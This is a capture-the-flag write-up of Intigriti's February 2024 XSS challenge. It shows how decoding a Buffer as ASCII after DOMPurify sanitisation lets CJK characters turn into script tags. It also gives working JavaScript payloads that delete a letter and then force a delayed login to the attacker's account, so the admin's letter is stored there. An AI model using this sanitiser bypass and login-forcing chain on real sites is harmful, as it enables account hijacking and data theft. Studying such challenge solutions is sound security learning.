Intigriti’s XSS Challenge (February 2024)
I came across with @intigriti’s XSS challenge this month. This time we are given a love letter storage system which allow us to show our love to our hacking buddies.
Challenge Summary⌗
Solution⌗
Part I: Cross-site scripting on GET /readTestLetter/:uuid
⌗
From the source code, we can see that GET /readTestLetter/:uuid
is the only endpoint that returns the user input with the content type text/html
. Let’s see how is our data handled:
The challenge uses the latest version of DOMPurify (v3.0.8). I don’t think we are supposed to find 0-days in the package. Thus, we assumed that what DOMPurify has sanitized should be safe. If there is a XSS vulnerability, the insecure payload must be generated post-sanitization.
These are the operations performed to the our message after DOMPurify:
POST /setTestLetter
- converts into a buffer and encodes it in base64, and
- stores to the database as a varchar.
GET /readTestLetter/:uuid
- retrieves from the database,
- decodes in base64, and
- renders as a string in ascii encoding.
In short, the vulnerability comes from the conversion to ASCII string from buffer. According to the Node.js documentation, decoding the buffer into an ASCII string would unset the highest bit of each byte. For instance, the word 測試
is converted to e6 b8 ac e8 a9 a6
in buffers. When casted to string using encoding ascii
, it became 66 38 2c 68 29 26
.
const testBuffer = Buffer.from('測試')
testBuffer.toString()
// '測試'
testBuffer.toString('ascii')
// 'f8,h)&'
Of course, DOMPurify will consider the UTF-8 characters harmless and thus will do nothing to them. We can confess our loves by creating alerts to the recipients with the below message:
偼script 偾alert(document.domain) //偼/script 偾
偼
and 偾
are respectively e5 81 bc
and e5 81 be
in UTF-8. They became e.<
(65 01 3c
) and e.>
(65 01 3e
) when decoded in ASCII. Thus it became e.<script e.>alert(document.domain) //e.</script e.>
when somemone retrieves the letter.
Part II: Stealing admin’s letter⌗
Now what is left is to craft a payload to steal admin’s letter. Notably, there is a “contact admin” API, where the admin will perform a sequence of tasks with the link we supplied (which needs to be in *.challenge-0224.intigriti.io
):
- The admin opens a browser and creates a new tab.
- The admin signs in to their own account.
- The admin visits the webpage we provided.
- The admin closes the page.
- The admin opens a new tab.
- The admin calls
GET /user
to check if the current user is the admin account. If not, the admin will terminate the session. - The admin calls
GET /getLetterData
and see if the “intigriti community letter” they wrote still exists. If not, he will callPOST /storeLetter
to create the letter again. - The admin closes the browser.
Notably, GET /getLetterData
does not contain the letters' content. To read the content of the letters, one has to call POST /readLetterData
with their password. Unfortunately, the admin is not typing their password except at the beginning. There is no hope stealing their passwords.
Another idea that I had is to remove a letter by POST /unsetLetter
and make them call POST /storeLetter
on our behalf. One thing that had in my mind is to make the admin sign in to our account after they called GET /user
.
Unfortunately, they are closing the tab we serve before they visit GET /user
. It seemed that we are unable to defer the sign in process. However, I observed that the admin does not close the additional tabs created by us. If we create an additional tab that could sign in to our own account after a certain amount of time, we are able to let admin to see themselves at GET /user
, while calling POST /storeLetter
for us. After all, I created two letters and sent the second letter to the admin:
<!-- https://api.challenge-0224.intigriti.io/readTestLetter/a -->
<script>
fetch("/unsetLetter", {
"method": "POST",
"body": `{"letterId":"3"}`,
"headers": {"content-type": "application/json"}
})
setTimeout(() => fetch("/login", {
"method": "POST",
"body": `{"username":"mystiz","password":"asdasdasd"}`,
"headers": {"content-type": "application/json"}
}), 4000)
</script>
<!-- https://api.challenge-0224.intigriti.io/readTestLetter/b -->
<script>
window.open("https://api.challenge-0224.intigriti.io/readTestLetter/a", name="_blank")
</script>
After all, we are able to retrieve the admin’s letter that confess their love to the community.
The after story⌗
I created a report to the Intigriti team after I retrieve the secret message. I almost became the first solver and could won the swags.
More importantly, I was told that my solution was partially unintended. The intended solution is to set our authentication cookie with Path=/storeLetter
. In this way, the token will only be used at the POST /storeLetter
API by the admin. Cookies that activate on specific paths are sneakier since people are able to detect something malicious when the attackers are creating new tabs. Loved this solution!